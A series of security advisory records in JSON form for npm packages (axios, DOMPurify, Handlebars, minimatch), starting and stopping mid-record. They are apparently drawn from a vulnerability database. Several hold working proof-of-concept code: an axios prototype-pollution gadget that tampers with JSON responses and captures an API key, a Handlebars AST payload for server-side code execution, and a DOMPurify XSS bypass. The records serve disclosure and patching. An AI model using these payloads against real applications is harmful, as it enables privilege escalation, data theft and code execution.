\"sk-secret-internal-key\"` is captured |\n| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false \u2192 true`, `role: \"viewer\" \u2192 \"admin\"`, `balance: 100 \u2192 999999`. The response looks completely normal except for the surgically altered values |\n| Availability | None | No crash, no error \u2014 the attack is entirely silent |\n\n### Comparison with All Known Axios PP Gadgets\n\n| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |\n|---|---|---|---|---|\n| PP target | `Object.prototype[\u0027header\u0027]` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |\n| Fixed by 1.15.0? | Yes | No | No | **No** |\n| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |\n| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |\n| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |\n| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |\n| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |\n| In defaults? | N/A | Yes \u2192 goes through mergeConfig | No \u2192 bypasses mergeConfig | **No \u2192 bypasses mergeConfig** |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer\u0027s code is completely safe \u2014 no configuration errors needed.\n\n## Root Cause Analysis\n\n### The Attack Path\n\n```\nObject.prototype.parseReviver = function(key, value) { /* malicious */ }\n         \u2502\n         \u25bc\n  mergeConfig(defaults, userConfig)\n         \u2502\n         \u2502  parseReviver NOT in defaults \u2192 NOT iterated by mergeConfig\n         \u2502  parseReviver NOT in userConfig \u2192 NOT iterated by mergeConfig\n         \u2502  Merged config has NO own parseReviver property\n         \u2502\n         \u25bc\n  transformData.call(config, config.transformResponse, response)\n         \u2502\n         \u2502  Default transformResponse function runs (NOT overridden)\n         \u2502\n         \u25bc\n  defaults/index.js:124: JSON.parse(data, this.parseReviver)\n         \u2502\n         \u2502  this = config (merged config object, plain {})\n         \u2502  config.parseReviver \u2192 NOT own property \u2192 traverses prototype chain\n         \u2502  \u2192 finds Object.prototype.parseReviver \u2192 attacker\u0027s function!\n         \u2502\n         \u25bc\n  JSON.parse calls reviver for EVERY key-value pair\n         \u2502\n         \u2502  Attacker can: read original value, modify it, return anything\n         \u2502  No validation, no constraints, no assertOptions check\n         \u2502\n         \u25bc\n  Application receives surgically modified JSON response\n```\n\n### Why `parseReviver` Bypasses ALL Existing Protections\n\n1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`\u0027s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.\n\n2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated.\n\n3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.\n\n4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function\u0027s `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.\n\n### Vulnerable Code\n\n**File:** `lib/defaults/index.js`, line 124\n\n```javascript\ntransformResponse: [\n  function transformResponse(data) {\n    // ... transitional checks ...\n    if (data \u0026\u0026 utils.isString(data) \u0026\u0026 ((forcedJSONParsing \u0026\u0026 !this.responseType) || JSONRequested)) {\n      // ...\n      try {\n        return JSON.parse(data, this.parseReviver);\n        //                      ^^^^^^^^^^^^^^^^^\n        //                      this = config\n        //                      config.parseReviver \u2192 prototype chain \u2192 attacker\u0027s function\n      } catch (e) {\n        // ...\n      }\n    }\n    return data;\n  },\n],\n```\n\n## Proof of Concept\n\n```javascript\nimport http from \u0027http\u0027;\nimport axios from \u0027./index.js\u0027;\n\n// Server returns a realistic authorization response\nconst server = http.createServer((req, res) =\u003e {\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(JSON.stringify({\n    user: \u0027john\u0027,\n    role: \u0027viewer\u0027,\n    isAdmin: false,\n    canDelete: false,\n    balance: 100,\n    permissions: [\u0027read\u0027],\n    apiKey: \u0027sk-secret-internal-key\u0027,\n  }));\n});\nawait new Promise(r =\u003e server.listen(0, r));\nconst port = server.address().port;\n\n// === Before Pollution ===\nconst before = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log(\u0027Before:\u0027, JSON.stringify(before.data));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\"balance\":100,...}\n\n// === Simulate Prototype Pollution ===\nlet stolen = {};\nObject.prototype.parseReviver = function(key, value) {\n  // Silently capture all original values\n  if (key \u0026\u0026 typeof value !== \u0027object\u0027) stolen[key] = value;\n  // Surgically modify specific values\n  if (key === \u0027isAdmin\u0027) return true;       // false \u2192 true\n  if (key === \u0027role\u0027) return \u0027admin\u0027;       // viewer \u2192 admin\n  if (key === \u0027canDelete\u0027) return true;     // false \u2192 true\n  if (key === \u0027balance\u0027) return 999999;     // 100 \u2192 999999\n  return value;                              // everything else unchanged\n};\n\n// === After Pollution \u2014 same code, same URL ===\nconst after = await axios.get(`http://127.0.0.1:${port}/api/me`);\nconsole.log(\u0027After: \u0027, JSON.stringify(after.data));\n// {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\"balance\":999999,...}\n\nconsole.log(\u0027Stolen:\u0027, JSON.stringify(stolen));\n// {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,...,\"apiKey\":\"sk-secret-internal-key\"}\n\ndelete Object.prototype.parseReviver;\nserver.close();\n```\n\n## Verified PoC Output\n\n```\n[1] Normal request (before pollution):\n    response.data: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                     \"balance\":100,\"permissions\":[\"read\"],\"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: false\n    role: viewer\n\n[2] Prototype Pollution: Object.prototype.parseReviver\n    Polluted with selective value modifier\n\n[3] Same request (after pollution):\n    response.data: {\"user\":\"john\",\"role\":\"admin\",\"isAdmin\":true,\"canDelete\":true,\n                     \"balance\":999999,\"permissions\":[\"read\",\"write\",\"delete\",\"admin\"],\n                     \"apiKey\":\"sk-secret-internal-key\"}\n    isAdmin: true (was: false)\n    role: admin (was: viewer)\n    canDelete: true (was: false)\n    balance: 999999 (was: 100)\n\n[4] Exfiltrated data (stolen silently):\n    apiKey: sk-secret-internal-key\n    All captured: {\"user\":\"john\",\"role\":\"viewer\",\"isAdmin\":false,\"canDelete\":false,\n                   \"balance\":100,\"apiKey\":\"sk-secret-internal-key\"}\n\n[5] Why this bypasses all checks:\n    parseReviver in defaults? NO\n    parseReviver in assertOptions schema? NO\n    parseReviver validated anywhere? NO\n    Must return true? NO \u2014 can return ANY value\n    Replaces entire transform? NO \u2014 works INSIDE default JSON.parse\n```\n\n## Impact Analysis\n\n### 1. Authorization / Privilege Escalation\n\n```javascript\n// Server returns: {\"role\":\"viewer\",\"isAdmin\":false}\n// Application sees: {\"role\":\"admin\",\"isAdmin\":true}\n// \u2192 Application grants admin access to unprivileged user\n```\n\n### 2. Financial Manipulation\n\n```javascript\n// Server returns: {\"balance\":100,\"approved\":false}\n// Application sees: {\"balance\":999999,\"approved\":true}\n// \u2192 Application approves a transaction that should be rejected\n```\n\n### 3. Security Control Bypass\n\n```javascript\n// Server returns: {\"mfaRequired\":true,\"accountLocked\":true}\n// Application sees: {\"mfaRequired\":false,\"accountLocked\":false}\n// \u2192 Application skips MFA and unlocks a locked account\n```\n\n### 4. Silent Data Exfiltration\n\nThe reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.\n\n### 5. Universal and Invisible\n\n- Affects **every** Axios request that receives a JSON response\n- The response structure is intact \u2014 only specific values are changed\n- No errors, no crashes, no suspicious behavior\n- Application logs show normal-looking API responses with tampered values\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` check before using `parseReviver`\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027)\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n### Fix 2: Use null-prototype config object\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n### Fix 3: Validate `parseReviver` type and source\n\n```javascript\n// FIXED: lib/defaults/index.js\nconst reviver = (typeof this.parseReviver === \u0027function\u0027 \u0026\u0026\n  Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027))\n  ? this.parseReviver\n  : undefined;\nreturn JSON.parse(data, reviver);\n```\n\n## Relationship to Other Reported Gadgets\n\nThis vulnerability shares the same **root cause class** \u2014 unsafe prototype chain traversal on the merged config object \u2014 with two other reported gadgets:\n\n| Report | PP Target | Code Location | Fix Location | Impact |\n|---|---|---|---|---|\n| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |\n| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |\n| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |\n\n### Why These Are Distinct Vulnerabilities\n\n1. **Different polluted properties:** Each targets a different `Object.prototype` key.\n2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function\u0027s `JSON.parse` call.\n3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.\n4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.\n\n### Comprehensive Fix\n\nWhile each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path \u2014 we defer to the maintainer\u0027s judgment on this.\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified \u2014 selective response tampering confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
  "id": "GHSA-3w6x-2g7m-8v23",
  "modified": "2026-05-05T00:19:33Z",
  "published": "2026-05-05T00:19:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42044"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:26:57Z",
    "nvd_published_at": "2026-04-24T18:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen responseType: \u0027stream\u0027 is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.\n\n### Details\nIn lib/adapters/http.js:\n  - 786-789: for responseType === \u0027stream\u0027, Axios immediately settles with the stream.\n  - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.\n\nSo callers may set maxContentLength and still receive/read arbitrarily large streamed responses.\n\n### PoC\n\nEnvironment:\n- Axios main at commit f7a4ee2\n- Node v24.2.0\n\n Steps:\n\n1. Start an HTTP server that returns a 2 MiB response body.\n2. Call Axios with:\n   - adapter: \u0027http\u0027\n   - responseType: \u0027stream\u0027\n   - maxContentLength: 1024\n3. Read the returned stream fully.\n\nObserved:\n- Success; full 2097152 bytes readable.\n\nControl check:\n- Same endpoint with responseType: \u0027text\u0027 and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.\n\n### Impact\nType: DoS / unbounded response processing.\nImpacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.",
  "id": "GHSA-vf2m-468p-8v99",
  "modified": "2026-05-05T00:26:58Z",
  "published": "2026-05-05T00:26:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42036"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: HTTP adapter streamed responses bypass maxContentLength"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.3"
            },
            {
              "fixed": "3.2.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.3"
            },
            {
              "last_affected": "2.5.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-15599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:50:09Z",
    "nvd_published_at": "2026-03-03T18:16:23Z",
    "severity": "MODERATE"
  },
  "details": "DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like \u003c/textarea\u003e in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.",
  "id": "GHSA-v8jm-5vwx-cfxm",
  "modified": "2026-03-04T20:50:09Z",
  "published": "2026-03-03T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15599"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/commit/c861f5a83fb8d90800f1680f855fee551161ac2b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safe-for-xml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DOMPurify contains a Cross-site Scripting vulnerability"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33938"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:20:44Z",
    "nvd_published_at": "2026-03-27T21:17:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{\u003e @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame\u0027s `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{\u003e @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and `handlebars-helpers`:\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\nconst merge = require(\u0027handlebars-helpers\u0027).object().merge;\nHandlebars.registerHelper(\u0027merge\u0027, merge);\n\nconst vulnerableTemplate = `\n{{#*inline \"myPartial\"}}\n    {{\u003e@partial-block}}\n    {{\u003e@partial-block}}\n{{/inline}}\n{{#\u003emyPartial}}\n    {{merge @_parent partial-block=1}}\n    {{merge @_parent partial-block=payload}}\n{{/myPartial}}\n`;\n\nconst maliciousContext = {\n  payload: {\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Code injected via depth field \u2014 breaks out of generated function call\n          depth: \"0])),function () {console.error(\u0027VULNERABLE: RCE via @partial-block\u0027);}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: RCE via @partial-block\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). The `compile()` method is  absent, eliminating the vulnerable fallback path.\n- **Audit registered helpers** for any that write arbitrary values to context objects. Helpers  should treat context data as read-only.\n- **Avoid registering helpers** from third-party packages (such as `handlebars-helpers`) in  contexts where templates or context data can be influenced by untrusted input.",
  "id": "GHSA-3mfm-83xf-c92r",
  "modified": "2026-03-27T21:52:26Z",
  "published": "2026-03-27T18:20:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-3mfm-83xf-c92r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33938"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.1"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41238"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T17:31:32Z",
    "nvd_published_at": "2026-04-23T16:16:26Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nDOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes \u2014 including event handlers \u2014 through sanitization.\n\n## Affected Versions\n\n- **3.0.1 through 3.3.3** (current latest) \u2014 all affected\n- **3.0.0 and all 2.x versions** \u2014 NOT affected (used `Object.create(null)` for initialization, no `|| {}` reassignment)\n- The vulnerable `|| {}` reassignment was introduced in the 3.0.0\u21923.0.1 refactor\n- This is **distinct** from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)\n- This is **distinct** from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)\n\n## Root Cause\n\nIn `purify.js` at line 590, during config parsing:\n\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nWhen no `CUSTOM_ELEMENT_HANDLING` is specified in the config (the default usage pattern), `cfg.CUSTOM_ELEMENT_HANDLING` is `undefined`, and the fallback `{}` is used. This plain object inherits from `Object.prototype`.\n\nLines 591-598 then check `cfg.CUSTOM_ELEMENT_HANDLING` (the original config property) \u2014 which is `undefined` \u2014 so the conditional blocks that would set `tagNameCheck` and `attributeNameCheck` from the config are never entered.\n\nAs a result, `CUSTOM_ELEMENT_HANDLING.tagNameCheck` and `CUSTOM_ELEMENT_HANDLING.attributeNameCheck` resolve via the prototype chain. If an attacker has polluted `Object.prototype.tagNameCheck` and `Object.prototype.attributeNameCheck` with permissive values (e.g., `/.*/`), these polluted values flow into DOMPurify\u0027s custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.\n\n## Impact\n\n- **Attack type:** XSS bypass via prototype pollution chain\n- **Prerequisites:** Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)\n- **Config required:** Default. No special DOMPurify configuration needed. The standard `DOMPurify.sanitize(userInput)` call is affected.\n- **Payload:** Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization\n\n## Proof of Concept\n\n```javascript\n// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application\nObject.prototype.tagNameCheck = /.*/;\nObject.prototype.attributeNameCheck = /.*/;\n\n// Step 2: Application sanitizes user input with DEFAULT config\nconst clean = DOMPurify.sanitize(\u0027\u003cx-x onfocus=alert(document.cookie) tabindex=0 autofocus\u003e\u0027);\n\n// Step 3: \"Sanitized\" output still contains the event handler\nconsole.log(clean);\n// Output: \u003cx-x onfocus=\"alert(document.cookie)\" tabindex=\"0\" autofocus=\"\"\u003e\n\n// Step 4: When injected into DOM, XSS executes\ndocument.body.innerHTML = clean; // alert() fires\n```\n\n### Tested configurations that are vulnerable:\n\n| Call Pattern | Vulnerable? |\n|---|---|\n| `DOMPurify.sanitize(input)` | YES |\n| `DOMPurify.sanitize(input, {})` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })` | NO (explicit object triggers L591 path) |\n\n## Suggested Fix\n\nChange line 590 from:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nTo:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);\n```\n\nThe `create(null)` function (already used elsewhere in DOMPurify, e.g., in `clone()`) creates an object with no prototype, preventing prototype chain inheritance.\n\n### Alternative application-level mitigation:\n\nApplications can protect themselves by always providing an explicit `CUSTOM_ELEMENT_HANDLING` in their config:\n\n```javascript\nDOMPurify.sanitize(input, {\n  CUSTOM_ELEMENT_HANDLING: {\n    tagNameCheck: null,\n    attributeNameCheck: null\n  }\n});\n```\n\n## Timeline\n\n- **2026-04-04:** Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)\n- **2026-04-04:** Confirmed in Chrome browser with DOMPurify 3.3.3\n- **2026-04-04:** Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801\n- **2026-04-04:** Advisory drafted, responsible disclosure initiated\n\n## Credit\n\nhttps://github.com/trace37labs",
  "id": "GHSA-v9jr-rg53-9pgp",
  "modified": "2026-04-27T16:32:03Z",
  "published": "2026-04-22T17:31:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41238"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cure53/DOMPurify"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0"
            },
            {
              "fixed": "9.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "minimatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27904"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:07:15Z",
    "nvd_published_at": "2026-02-26T02:16:21Z",
    "severity": "HIGH"
  },
